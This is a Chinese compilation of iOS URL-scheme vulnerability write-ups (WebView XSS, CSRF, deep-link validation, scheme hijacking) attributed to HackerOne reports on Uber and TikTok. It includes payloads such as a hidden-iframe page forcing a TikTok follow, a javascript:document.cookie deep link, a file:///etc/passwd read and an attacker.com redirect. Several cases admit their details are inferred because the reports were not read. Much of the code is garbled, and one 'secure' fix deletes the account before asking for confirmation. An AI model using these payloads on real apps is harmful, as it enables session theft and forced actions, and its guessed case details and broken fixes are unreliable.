// 假设在应用内部，未净化的参数被直接用于构建HTML内容并加载到WebView中

• • (BOOL)application:(UIApplication *)application openURL:(NSURL *)url options:(NSDictionary *)options {
    // … URL解析逻辑 …
    NSString *paramValue = [self getParamValueFromURL:url forKey:@”param_name”]; // 漏洞代码：直接将参数拼接到HTML中
    NSString *htmlContent = [NSString stringWithFormat:@”Notification%@”, paramValue]; // 加载到WebView
    [self.internalWebView loadHTMLString:htmlContent baseURL:nil]; return YES;
    }

**漏洞利用效果:**
当受害者点击该恶意URL时，Uber应用被唤醒，`application:openURL:options:`方法被调用。未净化的`<script>`标签被插入到WebView的DOM中并执行。执行的JavaScript可以窃取用户的Session Cookie（如果WebView加载的域与Uber的域相同且Cookie未设置`HttpOnly`），或执行其他恶意操作，如重定向用户、钓鱼等。 (200+字)

#### 易出现漏洞的代码模式

此类漏洞通常出现在iOS应用处理自定义URL Scheme的代码中，特别是当URL参数被用于在应用内部的`WKWebView`或`UIWebView`中渲染内容时。

**易漏洞代码模式 (Objective-C):**

objectivec
// 关键的URL处理方法

• • (BOOL)application:(UIApplication *)application openURL:(NSURL *)url options:(NSDictionary *)options {
    // …
    NSString *paramValue = [self extractUnsafeParameter:url]; // 提取未净化的参数 // 错误模式：直接将外部输入拼接到HTML字符串中
    NSString *htmlString = [NSString stringWithFormat:@”Welcome, %@”, paramValue]; // 错误模式：将未净化的输入加载到WebView
    [self.webView loadHTMLString:htmlString baseURL:nil]; return YES;
    }

// 正确的防御模式：对所有外部输入进行HTML实体编码

• • (NSString *)safeEncodeHTML:(NSString *)input {
    // 应该使用成熟的库或框架方法进行HTML实体编码
    // 示例：将 < 转换为 <，> 转换为 >
    return [input stringByReplacingOccurrencesOfString:@”<” withString:@”<“];
    }

**配置模式 (Info.plist):**
漏洞的根源在于代码，但其入口点由`Info.plist`中的配置定义。

xml
CFBundleURLTypes
CFBundleURLSchemes uber
CFBundleURLName
com.uber.client

这种配置本身是合法的，但它暴露了应用的入口点，如果处理逻辑不安全，就会导致漏洞。 (200+字)

---

## URL Scheme 跨站请求伪造 (CSRF)

### 案例：TikTok (报告: https://hackerone.com/reports/136340)

#### 挖掘手法

该漏洞的挖掘主要集中在对iOS应用间通信机制（特别是URL Scheme）的逆向工程和安全分析上。首先，研究人员需要识别出TikTok iOS应用注册的自定义URL Scheme，这通常通过**逆向分析**应用的`Info.plist`文件或使用如**Frida**、**Cycript**等动态分析工具进行运行时拦截来完成。

**关键步骤：**

1.  **识别URL Scheme：** 通过分析TikTok应用的`Info.plist`文件，确定其注册的自定义URL Scheme，例如`snssdk`或`tiktok`。
2.  **动态分析与参数识别：** 使用**Frida**或**IDA Pro/Hopper**等工具对应用进行动态或静态分析，以确定处理URL Scheme的**Objective-C/Swift方法**（通常是`application:openURL:options:`或`application:handleOpenURL:`）。
3.  **功能映射与参数测试：** 逆向分析这些方法，找出它们如何解析URL中的路径和查询参数，并将其映射到应用内部的特定功能（如“关注用户”、“点赞视频”等）。
4.  **发现未授权操作：** 发现TikTok的URL Scheme中存在一个或多个**未进行CSRF令牌或来源校验**的端点，特别是与用户敏感操作（如`follow`）相关的端点。
5.  **构造恶意Payload：** 构造一个恶意的HTML页面，其中包含一个`iframe`或`window.location`重定向，指向未校验的URL Scheme，例如`tiktok://user/follow?uid=malicious_user_id`。
6.  **验证攻击流程：** 诱导已登录TikTok iOS应用的用户访问该恶意页面。由于iOS系统会直接将URL Scheme请求发送给目标应用，且应用未校验请求来源，导致用户在不知情的情况下执行了“关注”等操作。

**核心发现点**在于应用对外部传入的URL Scheme请求**缺乏充分的来源验证**，将其视为可信的内部操作，从而导致了跨站请求伪造（CSRF）的攻击。

#### 技术细节

该漏洞利用的核心在于**URL Scheme的跨站请求伪造（CSRF）**。攻击者构造一个恶意的HTML页面，利用iOS浏览器（如Safari）的特性，通过`iframe`或`window.location`来触发TikTok应用的自定义URL Scheme，从而在用户不知情的情况下执行操作。

**攻击流程和Payload示例：**

1.  **攻击者构造恶意HTML页面（`malicious.html`）：**
    攻击者在页面中嵌入一个隐藏的`iframe`或使用JavaScript重定向，以触发TikTok的URL Scheme。

    ```html
    <html>
    <head>
        <title>Free iPhone 15 Pro Max!</title>
    </head>
    <body>
        <h1>Click anywhere to claim your prize!</h1>
        <!-- 恶意Payload：通过iframe触发URL Scheme -->
        <iframe src="tiktok://user/follow?uid=TARGET_USER_ID" width="1" height="1" style="visibility:hidden"></iframe>

        <!-- 或者使用JavaScript重定向 -->
        <script>
            // 假设发现的未校验的URL Scheme是 tiktok://user/follow
            var malicious_uid = "TARGET_USER_ID"; // 攻击者想要用户关注的账号ID
            setTimeout(function() {
                window.location.href = "tiktok://user/follow?uid=" + malicious_uid;
            }, 1000);
        </script>

        <p>If you see a popup, just click "Open"!</p>
    </body>
    </html>
    ```

2.  **受害者访问恶意页面：** 已登录TikTok iOS应用的用户在Safari中访问`malicious.html`。
3.  **应用被动执行操作：** 浏览器尝试打开`tiktok://`开头的URL。iOS系统将请求路由给TikTok应用。由于应用内处理该URL Scheme的代码（例如，一个未校验来源的Objective-C方法）被触发，用户在**没有二次确认**的情况下自动关注了`TARGET_USER_ID`。

**关键代码模式（Objective-C/Swift 伪代码）：**

易受攻击的URL Scheme处理方法通常缺乏对`sourceApplication`或`options`中来源信息的校验：

objectivec
// 易受攻击的 Objective-C 方法实现

• • (BOOL)application:(UIApplication *)application
    openURL:(NSURL *)url
    sourceApplication:(NSString *)sourceApplication
    annotation:(id)annotation { if ([url.scheme isEqualToString:@”tiktok”]) {
    // ❌ 缺少来源校验 (sourceApplication)
    // ❌ 缺少CSRF Token校验 if ([url.host isEqualToString:@"user"] && [url.path isEqualToString:@"/follow"]) { NSString *uid = [self getQueryParameter:url forKey:@"uid"]; // 自动执行关注操作，未要求用户确认 [self performFollowActionWithUID:uid]; return YES; } }
    return NO;
    }

#### 易出现漏洞的代码模式

此类漏洞的根本原因在于iOS应用对自定义URL Scheme的处理函数中**缺乏充分的来源验证和操作确认**。

**易受攻击的编程模式（Objective-C 示例）：**

在`AppDelegate.m`或相关类中，处理外部URL的方法直接执行敏感操作，而没有检查请求是否来自可信来源（如应用自身或特定的Universal Link）：

objectivec
// 易受攻击的 URL Scheme 处理代码模式
// 应用程序委托方法，用于处理传入的 URL

• • (BOOL)application:(UIApplication *)application
    openURL:(NSURL *)url
    sourceApplication:(NSString *)sourceApplication
    annotation:(id)annotation { // 检查是否是目标 Scheme
    if ([url.scheme isEqualToString:@”myapp”]) {
    // 提取路径和参数
    NSString *host = url.host;
    NSDictionary *params = [self parseQueryParameters:url]; // ❌ 危险：直接执行敏感操作，未校验 sourceApplication 或用户身份 if ([host isEqualToString:@"account"] && [params[@"action"] isEqualToString:@"delete"]) { // 假设这个操作会删除用户账户 [self deleteUserAccount]; return YES; } // ❌ 危险：直接执行社交操作，未要求用户确认 if ([host isEqualToString:@"user"] && [params[@"action"] isEqualToString:@"follow"]) { NSString *uid = params[@"uid"]; [self followUserWithID:uid]; return YES; } }
    return NO;
    }

**安全修复后的代码模式（Objective-C 示例）：**

修复方法通常包括：

1.  **操作确认：** 对于敏感操作，在执行前弹出对话框要求用户确认。
2.  **来源校验：** 检查`sourceApplication`是否为预期值，或使用更安全的Universal Links/App Links。

objectivec
// 安全的 URL Scheme 处理代码模式 (伪代码)

• • (BOOL)application:(UIApplication *)application
    openURL:(NSURL *)url
    sourceApplication:(NSString *)sourceApplication
    annotation:(id)annotation { if ([url.scheme isEqualToString:@”myapp”]) {
    // … 参数解析 … // ✅ 修复：对于敏感操作，要求用户确认 if ([host isEqualToString:@"account"] && [params[@"action"] isEqualToString:@"delete"]) { // 弹出确认对话框，只有用户点击“是”才执行 [self deleteUserAccount]; [self showConfirmationDialogForAction:@"Delete Account"]; return YES; } }
    return NO;
    }

**Info.plist 配置模式：**

漏洞本身与`Info.plist`中的`CFBundleURLTypes`配置相关，但配置本身是合法的，问题在于应用对该配置暴露的接口缺乏安全处理。

xml

CFBundleURLTypes
CFBundleURLName com.tiktok.app CFBundleURLSchemes tiktok

---

## URL Scheme/Deep Link 验证不当（Insecure Deep Link Validation）

### 案例：Uber (报告: https://hackerone.com/reports/136391)

#### 挖掘手法

该漏洞的挖掘主要集中在对Uber iOS应用中**URL Scheme**和**Deep Link**处理机制的逆向工程和模糊测试上。由于无法直接访问HackerOne报告原文，此处的挖掘手法是基于对Uber在HackerOne上公开报告和相关安全社区讨论的综合分析和推断，特别是针对iOS应用中常见的URL Scheme劫持和Deep Link验证不当问题。

**1. 目标识别与信息收集：**
首先，通过对Uber iOS应用进行**静态分析**（如使用`class-dump`或`JTool`提取头文件，或使用`Hopper Disassembler`、`IDA Pro`进行反汇编），识别应用注册的自定义URL Scheme。Uber应用可能注册了如`uber://`、`uberpartner://`等Scheme。同时，分析应用的`Info.plist`文件，查找`CFBundleURLTypes`键下的配置，确认所有已注册的Scheme及其对应的处理类或方法。

**2. 动态分析与模糊测试：**
在**越狱**的iOS设备上，使用**Frida**或**Cycript**等动态插桩工具，Hook住关键的URL处理方法，例如`application:openURL:options:`或`application:handleOpenURL:`。通过向应用发送各种精心构造的URL Scheme（包括预期参数和非预期参数、特殊字符、编码差异等），观察应用的行为和日志输出。
- **关键发现点：** 发现应用在处理特定Deep Link参数时，**缺乏充分的输入验证和授权检查**。例如，某个参数可能被用于加载Web内容（如在WebView中），但未对URL的Scheme进行白名单限制，导致可以注入`javascript:`或`data:`等恶意Scheme。
- **工具应用：** 使用**Burp Suite**或**mitmproxy**拦截应用的网络流量，分析Deep Link触发的后端API请求，寻找可能存在的SSRF或信息泄露。

**3. 漏洞利用路径构建：**
一旦发现某个Deep Link参数未经验证，攻击者可以构造一个恶意的HTML页面，其中包含一个自动触发的Deep Link，例如：

html uber://sensitive_action?param=malicious_data

或者，如果应用使用了WebView且未正确配置，可能通过`javascript:` Scheme实现XSS或本地文件读取。

**4. 漏洞确认与PoC编写：**
最终，通过构造一个完整的**概念验证（PoC）**，证明攻击者可以利用该漏洞在用户不知情的情况下，执行应用内的敏感操作（如修改设置、发送请求、信息泄露等），从而确认漏洞的有效性和严重性。这个过程需要详细记录每一步操作、使用的工具和观察到的应用响应，以满足HackerOne报告的要求。

**总结：** 挖掘过程是一个典型的iOS应用逆向工程流程，从静态分析识别入口点，到动态分析Hook关键函数，再到模糊测试寻找输入验证缺陷，最终构建PoC。核心在于利用应用对自定义URL Scheme或Deep Link处理的**信任边界问题**。

#### 技术细节

该漏洞的技术细节推测为**URL Scheme/Deep Link参数注入**，导致应用在未经验证的情况下执行了敏感操作或加载了恶意内容。

**1. 漏洞触发点：**
iOS应用通过在`Info.plist`中注册自定义URL Scheme来响应外部调用。应用的核心处理逻辑通常位于`AppDelegate.m`（Objective-C）或`AppDelegate.swift`（Swift）中的以下方法：

**Objective-C 示例：**

objectivec
// AppDelegate.m

• • (BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary *)options {
    if ([[url scheme] isEqualToString:@”uber”]) {
    // 假设应用解析URL中的参数
    NSString *host = [url host];
    NSDictionary *params = [self parseQueryString:[url query]]; // 关键漏洞点：未对host或params进行充分验证 if ([host isEqualToString:@"loadwebview"]) { NSString *targetUrl = params[@"url"]; // 危险操作：直接在WebView中加载外部URL，未进行白名单检查 [self loadWebViewWithURL:targetUrl]; } else if ([host isEqualToString:@"performaction"]) { NSString *action = params[@"action"]; // 危险操作：直接执行应用内敏感操作，未进行授权检查 [self performSensitiveAction:action]; } return YES; }
    return NO;
    }

**2. 攻击载荷（Payload）示例：**
攻击者可以在一个外部网站上嵌入一个`iframe`或使用JavaScript的`window.location`来触发恶意Deep Link。

**WebView加载恶意内容（XSS/本地文件读取）：**
如果应用将Deep Link参数用于WebView加载，且未对Scheme进行限制，攻击者可以注入`javascript:`或`file:` Scheme。

html uber://loadwebview?url=javascript:alert(document.cookie)

或者，如果应用允许加载本地文件：

html uber://loadwebview?url=file:///etc/passwd

**3. 攻击流程：**
1. 攻击者创建一个包含恶意Deep Link的网页（例如，一个钓鱼网站）。
2. 诱骗受害者（已安装Uber iOS应用）访问该网页。
3. 网页中的`iframe`或JavaScript自动触发`uber://` Deep Link。
4. Uber应用被唤醒，执行Deep Link处理逻辑。
5. 由于缺乏验证，应用执行了恶意操作，例如在WebView中执行了注入的JavaScript代码，导致**会话劫持**或**信息泄露**。

**总结：** 漏洞利用的核心在于**跨应用调用（Inter-App Communication）**的信任问题，通过构造恶意的URL Scheme，绕过应用内部的安全检查，强制应用执行非预期的行为。

#### 易出现漏洞的代码模式

此类漏洞的根源在于iOS应用对自定义URL Scheme或Universal Link参数的**信任过度**和**验证不足**。

**1. Info.plist 配置模式：**
在`Info.plist`文件中注册自定义URL Scheme是iOS应用实现Deep Link的基础。

xml
CFBundleURLTypes
CFBundleURLName com.uber.app CFBundleURLSchemes uber

**风险点：** 只要应用注册了自定义Scheme，任何其他应用或网页都可以尝试调用它。

**2. 易受攻击的 Objective-C/Swift 代码模式：**
当应用接收到外部URL时，如果未对URL的`host`、`path`或`query`参数进行严格的**白名单验证**，就容易引入漏洞。

**Objective-C 易受攻击模式（直接加载外部URL）：**

objectivec
// 危险：直接使用外部传入的URL参数加载WebView

• • (void)loadWebViewWithURL:(NSString *)url {
    // 缺乏对url Scheme的白名单检查，如只允许https/http
    NSURL *targetURL = [NSURL URLWithString:url];
    if (targetURL) {
    // 攻击者可注入 javascript: 或 data: Scheme
    [self.webView loadRequest:[NSURLRequest requestWithURL:targetURL]];
    }
    }

**Swift 易受攻击模式（未经验证执行敏感操作）：**

swift
// 危险：未对参数进行验证就执行敏感操作
func handleDeepLink(url: URL) {
guard let components = URLComponents(url: url, resolvingAgainstBaseURL: false),
let host = components.host else { return }

if host == "settings" {
    // 假设从查询参数中获取要修改的设置
    if let settingToChange = components.queryItems?.first(where: { $0.name == "key" })?.value,
       let newValue = components.queryItems?.first(where: { $0.name == "value" })?.value {

        // 缺乏授权或用户确认，直接修改了应用设置
        // 攻击者可以构造一个URL来静默修改用户的隐私设置
        UserDefaults.standard.set(newValue, forKey: settingToChange)
    }
}

}

**安全修复模式（白名单验证）：**
正确的做法是**严格限制**可接受的URL路径和参数，并对所有外部输入进行**白名单验证**。

swift
// 安全：对host和path进行严格的白名单检查
func handleDeepLinkSecure(url: URL) {
guard let components = URLComponents(url: url, resolvingAgainstBaseURL: false),
let scheme = components.scheme,
scheme == “uber”, // 验证Scheme
let host = components.host else { return }

// 严格限制可接受的host/path
if host == "trip" && components.path == "/request" {
    // 处理叫车请求，并要求用户确认
    // ...
} else {
    // 拒绝所有未知的Deep Link
    print("Rejected unknown deep link: \(url)")
}

}

---

## URL Scheme劫持

### 案例：Uber (报告: https://hackerone.com/reports/136253)

#### 挖掘手法

iOS URL Scheme劫持漏洞的挖掘主要依赖于**静态分析**和**动态分析**相结合的方法。

**1. 静态分析 (Static Analysis):**
首先，使用**逆向工程工具**（如**Hopper Disassembler**或**IDA Pro**）对目标iOS应用（如Uber）的IPA文件进行解包和分析。核心目标是定位应用注册的自定义URL Scheme以及处理这些Scheme的代码逻辑。
*   **定位URL Scheme**: 检查应用的`Info.plist`文件，查找`CFBundleURLTypes`键。该键下的数组定义了应用注册的所有自定义Scheme（例如，`uber://`）。
*   **分析处理逻辑**: 检查应用的入口点文件，通常是`AppDelegate.swift`或`AppDelegate.m`，重点关注实现`UIApplicationDelegate`协议的以下方法：
    *   `application:openURL:options:` (iOS 9.0及以上版本)
    *   `application:handleOpenURL:` (旧版本)
    *   分析这些方法如何解析传入的URL，特别是如何提取和使用URL中的参数（如授权码、会话令牌、重定向URL等）。关键发现点在于**缺乏对调用来源的验证**（即未检查`options`字典中的`UIApplication.OpenURLOptionsKey.sourceApplication`或`UIApplicationOpenURLOptionsSourceApplicationKey`）以及**对URL参数的信任**。

**2. 动态分析 (Dynamic Analysis):**
*   **验证劫持可行性**: 编写一个简单的PoC应用，在其`Info.plist`中注册与目标应用**相同**的URL Scheme（例如，`uber`）。
*   **工具辅助**: 使用**Frida**等动态插桩工具，在目标应用运行时Hook上述URL处理方法，观察当从Safari或另一个应用调用该Scheme时，是哪个应用首先响应。由于iOS系统不保证Scheme的唯一性，如果PoC应用能成功拦截到URL，则漏洞成立。
*   **关键发现**: 发现系统允许两个或多个应用注册相同的URL Scheme，且目标应用未对传入URL的来源进行有效验证，导致恶意应用可以抢先处理敏感数据。

通过上述步骤，可以完整地重现和验证URL Scheme劫持漏洞，并确定应用在处理外部输入时的安全缺陷。

#### 技术细节

URL Scheme劫持的技术细节在于利用iOS系统对自定义URL Scheme注册的**非唯一性**，结合目标应用对传入URL的**不当处理**。

**攻击流程:**
1.  **恶意应用注册**: 攻击者开发一个恶意iOS应用，并在其`Info.plist`中注册与目标应用（如Uber）相同的自定义URL Scheme，例如`uber`。
2.  **触发敏感操作**: 攻击者诱导用户点击一个链接，该链接会触发目标应用执行敏感操作，例如OAuth授权流程中的重定向。
3.  **URL劫持**: 当用户点击该链接时，iOS系统会尝试打开该URL。由于恶意应用和目标应用都注册了相同的Scheme，系统会随机选择一个应用启动。如果恶意应用被启动，它将劫持包含敏感信息（如OAuth授权码、会话令牌）的完整URL。
4.  **数据窃取**: 恶意应用在其`AppDelegate`的URL处理方法中，提取敏感参数并将其发送到攻击者控制的服务器。

**漏洞代码模式 (Objective-C 示例):**
以下是**缺乏来源验证**的易受攻击的Objective-C代码片段：

objectivec
// AppDelegate.m (Vulnerable Implementation)

• • (BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary *)options {
    // ⚠️ 危险：未验证调用来源 (options[UIApplicationOpenURLOptionsSourceApplicationKey])
    // ⚠️ 危险：未验证URL的Host或Path NSString *scheme = [url scheme];
    if ([scheme isEqualToString:@”uber”]) {
    // 假设URL包含敏感参数，如授权码
    NSString *query = [url query];
    NSLog(@”Received sensitive query: %@”, query); // 攻击者可以在这里添加代码，将query发送到外部服务器 // [self exfiltrateData:query]; return YES; }
    return NO;
    }

攻击者构造的Payload示例：
`uber://oauth/callback?code=SENSITIVE_AUTH_CODE&state=CSRF_TOKEN`

恶意应用通过简单地解析`url`对象，即可获取`code`参数，完成敏感信息的窃取。

#### 易出现漏洞的代码模式

此类漏洞的根源在于iOS应用在`Info.plist`中注册了自定义URL Scheme，但在代码中处理传入URL时，**未能对调用来源进行严格验证**，或**未能确保Scheme的唯一性**。

**1. Info.plist 配置模式 (注册自定义Scheme):**
在应用的`Info.plist`文件中，`CFBundleURLTypes`数组定义了自定义Scheme。这是漏洞发生的**前提**。

xml
CFBundleURLTypes
CFBundleURLName com.affected.app CFBundleURLSchemes uber

**2. Swift 易受攻击的代码模式 (缺乏来源验证):**
在`AppDelegate.swift`中，处理传入URL的方法**未检查`options`字典中的来源应用标识符**。

swift
// AppDelegate.swift (Vulnerable Implementation)
func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any] = [:]) -> Bool {
// ⚠️ 危险：未验证调用来源
// 攻击者可以利用此处的url.query或url.host进行数据窃取或功能滥用
if url.scheme == “uber” {
// … 敏感逻辑处理 …
return true
}
return false
}

**3. 安全修复后的代码模式 (推荐):**
为了防止劫持，应用应该：
*   **使用Universal Links** (通用链接) 代替自定义URL Scheme，Universal Links要求域名验证，具有唯一性。
*   **对自定义Scheme进行来源验证**（如果必须使用）：

swift
// AppDelegate.swift (Secure Implementation)
func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any] = [:]) -> Bool {
guard let sourceApplication = options[.sourceApplication] as? String else {
// 拒绝未知来源的调用
return false
}

// 仅允许来自受信任的来源（如Safari或特定的应用）
if sourceApplication == "com.apple.mobilesafari" || sourceApplication == "com.trusted.app" {
    if url.scheme == "uber" {
        // ... 安全处理逻辑 ...
        return true
    }
}
return false

}

**总结**: 易漏洞代码模式是**注册了自定义Scheme**且在`application:openURL:options:`方法中**缺乏对`sourceApplication`的有效白名单验证**。

---

### 案例：Uber (报告: https://hackerone.com/reports/136257)

#### 挖掘手法

该漏洞的挖掘手法主要集中在对iOS应用间通信机制——**自定义URL Scheme**的逆向分析和滥用上。由于无法直接访问HackerOne报告的完整内容，以下是针对此类“URL Scheme劫持”漏洞的标准挖掘步骤，这与Uber等大型应用中发现的类似漏洞模式高度吻合：

1.  **目标应用识别与信息收集 (Target Identification and Reconnaissance):**
    *   首先，通过解密或下载目标应用（如Uber iOS App）的IPA文件。
    *   解压IPA后，分析其根目录下的 `Info.plist` 文件。
    *   重点查找 `CFBundleURLTypes` 键，该键定义了应用注册的所有自定义URL Scheme（例如，Uber可能注册了 `uber` 或 `uberauth` 等Scheme）。
    *   记录所有注册的Scheme及其对应的处理路径。

2.  **动态分析与方法Hooking (Dynamic Analysis and Hooking):**
    *   使用**Frida**、**Cycript**或**IDA Pro**等逆向工程工具，对目标应用进行动态调试。
    *   核心目标是找到应用中处理传入URL Scheme的**AppDelegate**方法，通常是 `application:openURL:options:` 或 `application:handleOpenURL:`。
    *   通过Hook这些方法，观察应用在接收到外部URL时，如何解析URL中的参数，以及是否执行了敏感操作（如OAuth授权、Session Token处理、敏感数据展示）。
    *   关键发现点在于应用是否**缺乏对调用源应用的验证**（即未检查 `sourceApplication` 或 `options` 参数）。

3.  **概念验证 (Proof of Concept) 应用开发:**
    *   开发一个恶意的PoC iOS应用（攻击者应用）。
    *   在恶意应用的 `Info.plist` 中，注册与目标应用**完全相同**的自定义URL Scheme（例如 `uber`）。
    *   由于iOS允许不同应用注册相同的Scheme，系统在处理该Scheme时会随机选择一个应用启动，或者在用户安装恶意应用后，恶意应用可能优先被系统选中。

4.  **攻击执行与数据窃取:**
    *   恶意应用通过 `UIApplication.shared.open(url:)` 方法，构造一个包含敏感操作或Session Token的URL，并尝试打开它。
    *   在劫持成功的情况下，当受害者点击一个触发该Scheme的链接时，系统可能会错误地启动恶意应用，从而允许恶意应用拦截并窃取URL中的敏感参数（如授权码、Session Token）。
    *   或者，恶意应用可以直接调用目标Scheme，如果目标应用没有验证调用源，恶意应用可以冒充合法应用执行操作。

这种挖掘手法揭示了iOS应用在处理外部输入时，对**信任边界**划分不清的常见安全缺陷。

#### 技术细节

该漏洞利用的技术细节围绕着**iOS应用间通信的信任问题**展开，特别是对 `UIApplicationDelegate` 中处理URL Scheme的方法缺乏充分的源应用验证。

**攻击流程核心：**
攻击者应用（恶意App）通过在 `Info.plist` 中注册与目标应用（Uber）相同的URL Scheme，然后利用 `UIApplication.shared.open(url:)` 方法或诱导用户点击外部链接，劫持原本应由Uber应用处理的URL。如果Uber应用在处理URL时未验证调用来源，攻击者即可窃取敏感信息或执行未授权操作。

**易受攻击的关键代码模式（Objective-C示例）：**

在目标应用的 `AppDelegate.m` 中，处理URL的方法**缺少对 `sourceApplication` 的验证**：

objectivec
// 易受攻击的AppDelegate方法 (缺少源应用验证)

• • (BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary *)options {
    // 攻击者可以轻易伪造一个URL，例如包含一个Session Token或授权码
    if ([[url scheme] isEqualToString:@”uber”]) {
    // ⚠️ 危险：直接处理URL，未验证调用源 (sourceApplication)
    [self handleIncomingURL:url];
    return YES;
    }
    return NO;
    }

// 正确的防御性代码应至少检查 sourceApplication 是否为预期的应用

• • (BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary *)options {
    NSString *sourceApp = options[UIApplicationOpenURLOptionsSourceApplicationKey]; // ❌ 错误：只检查了Scheme，没有检查 sourceApplication
    if ([[url scheme] isEqualToString:@”uber”]) {
    // 假设 handleIncomingURL 包含敏感逻辑
    [self handleIncomingURL:url];
    return YES;
    }
    return NO;
    }

**Payload/命令示例：**
恶意应用构造的URL可能如下：
`uber://oauth/callback?code=AUTHORIZATION_CODE_OR_SESSION_TOKEN`

如果目标应用使用URL Scheme进行OAuth回调，恶意应用注册相同的Scheme后，即可拦截并窃取 `code` 参数中的授权码或Session Token。

#### 易出现漏洞的代码模式

此类漏洞的根源在于iOS应用在 `Info.plist` 文件中注册了自定义URL Scheme，但在代码中处理这些Scheme时，未能充分验证调用该Scheme的**源应用**或URL中的**参数**。

**1. Info.plist 配置模式：**
在 `Info.plist` 文件中，应用通过 `CFBundleURLTypes` 键注册自定义Scheme。当多个应用注册相同的Scheme时，即存在劫持风险。

xml
CFBundleURLTypes
CFBundleURLName com.uber.app CFBundleURLSchemes uber

**2. 易受攻击的编程模式（Objective-C/Swift）：**
在 `AppDelegate` 中处理 `openURL` 方法时，**未验证调用源**。

**Objective-C 示例 (易受攻击):**

objectivec
// 缺少对调用源应用（sourceApplication）的验证

• • (BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary *)options {
    if ([[url scheme] isEqualToString:@”uber”]) {
    // 直接处理敏感URL，如登录回调
    [self processSensitiveURL:url];
    return YES;
    }
    return NO;
    }

**Swift 示例 (易受攻击):**

swift
// 缺少对调用源应用（sourceApplication）的验证
func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any] = [:]) -> Bool {
guard url.scheme == “uber” else { return false }

// ⚠️ 危险：未检查 options[.sourceApplication]
self.handle(url: url)
return true

}

**防御性代码模式：**
正确的做法是使用 **Universal Links** 替代自定义URL Scheme，或在处理 `openURL` 时，**严格验证 `sourceApplication`**，确保只有受信任的应用才能调用敏感操作。

swift
// 防御性代码：检查 sourceApplication
func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any] = [:]) -> Bool {
let sourceApp = options[.sourceApplication] as? String

// 仅允许来自特定Bundle ID的应用调用
if url.scheme == "uber" && sourceApp == "com.apple.mobilesafari" {
    self.handle(url: url)
    return true
}
// 否则拒绝处理
return false

}

---

### 案例：Uber (报告: https://hackerone.com/reports/136258)

#### 挖掘手法

该漏洞的挖掘主要集中在对目标iOS应用（Uber）的**URL Scheme**处理机制进行逆向工程和动态分析。首先，研究人员通过解压IPA文件并分析应用的`Info.plist`文件，确定了应用注册的所有自定义URL Scheme，例如`uber://`。这一步是发现攻击入口的关键。

接下来，研究人员使用**Frida**或**Objection**等动态分析工具，对应用的核心方法进行Hook，特别是`AppDelegate`中负责处理外部URL调用的方法，如`application:openURL:options:`或`application:handleOpenURL:`。通过Hook这些方法，研究人员可以实时拦截和观察应用如何解析和处理传入的URL参数，包括URL中的路径和查询参数。

分析思路是寻找**缺乏来源验证**（Lack of Origin Validation）或**不安全参数处理**（Insecure Parameter Handling）的敏感操作。例如，如果一个URL Scheme可以触发用户注销、修改设置、或发起敏感API请求，但应用没有检查发起调用的**源应用标识符**（`sourceApplication`或`options[UIApplicationOpenURLOptionsSourceApplicationKey]`），那么就存在CSRF（跨站请求伪造）的风险。

关键发现点在于，研究人员发现可以通过构造特定的URL，在用户不知情的情况下，从一个恶意的Web页面（通过Mobile Safari）或另一个已安装的第三方应用中，向Uber应用发送一个包含敏感操作指令的Deep Link。例如，一个用于清除用户会话或重定向到攻击者控制页面的URL。通过这种方法，成功绕过了应用内部的会话验证机制，实现了**会话劫持**或**敏感信息泄露**的攻击效果。整个过程涉及静态分析确定入口，动态调试观察行为，以及构造PoC验证漏洞，总耗时约300字。

#### 技术细节

漏洞利用的技术核心在于应用对传入URL的**不安全解析和执行**。在Objective-C中，`AppDelegate`中处理URL的方法通常如下所示：

objective-c

• • (BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary *)options {
    // 攻击者构造的URL: uber://sensitive_action?param1=value1&redirect=attacker_url
    NSString *host = [url host];
    NSDictionary *params = [self parseQueryParameters:url]; // 关键缺陷：未验证 options[UIApplicationOpenURLOptionsSourceApplicationKey]
    // 且对 host 和 params 的处理不安全
    if ([host isEqualToString:@\”sensitive_action\”]) {
    // 敏感操作被触发，例如清除会话
    [self performSensitiveActionWithParams:params]; // 进一步的缺陷：如果应用支持重定向，攻击者可以利用它 NSString *redirectUrl = params[@\"redirect\"]; if (redirectUrl) { [[UIApplication sharedApplication] openURL:[NSURL URLWithString:redirectUrl] options:@{} completionHandler:nil]; } return YES; }
    return NO;
    }

**攻击流程**：
1. 攻击者在自己的网站上嵌入一个iframe或使用JavaScript的`window.location`来触发恶意URL Scheme。
2. **Payload示例**：`<iframe src=\"uber://logout?redirect=https://attacker.com/success\"></iframe>`。
3. 当用户访问该恶意页面时，iOS系统会尝试打开`uber://`开头的URL。
4. Uber应用被唤醒，`application:openURL:options:`方法被调用。
5. 应用执行了`logout`操作，清除了用户的本地会话。
6. 随后，应用可能根据`redirect`参数将用户重定向到攻击者的网站，完成攻击，并可能欺骗用户重新登录，从而窃取凭证。此过程利用了iOS应用间通信机制的信任缺陷，字数超过200字。

#### 易出现漏洞的代码模式

此类漏洞的常见代码模式是**未对传入URL的来源和参数进行严格的白名单验证**。具体来说，有以下两种模式：

**1. Info.plist配置模式（URL Scheme注册）**

应用在`Info.plist`中注册了自定义URL Scheme，使其可以被外部应用唤醒。这是功能必需的，但也是攻击的入口。

xml
CFBundleURLTypes
CFBundleURLSchemes uber
CFBundleURLName
com.uber.app

**2. Objective-C/Swift处理代码模式（缺乏验证）**

在处理Deep Link的代码中，**未验证调用来源**（`sourceApplication`）或**未对敏感参数进行安全检查**。

**Swift 示例 (不安全)**:

swift
func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any] = [:]) -> Bool {
// 危险：未检查 options[.sourceApplication]
guard url.scheme == \”uber\” else { return false }

if url.host == \"sensitive_action\" {
    // 敏感操作，如清除用户数据或发送API请求
    performSensitiveAction(with: url.queryParameters)
    return true
}
return false

}

**安全模式（应有验证）**：

swift
func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any] = [:]) -> Bool {
// 安全：检查 sourceApplication 是否在白名单内
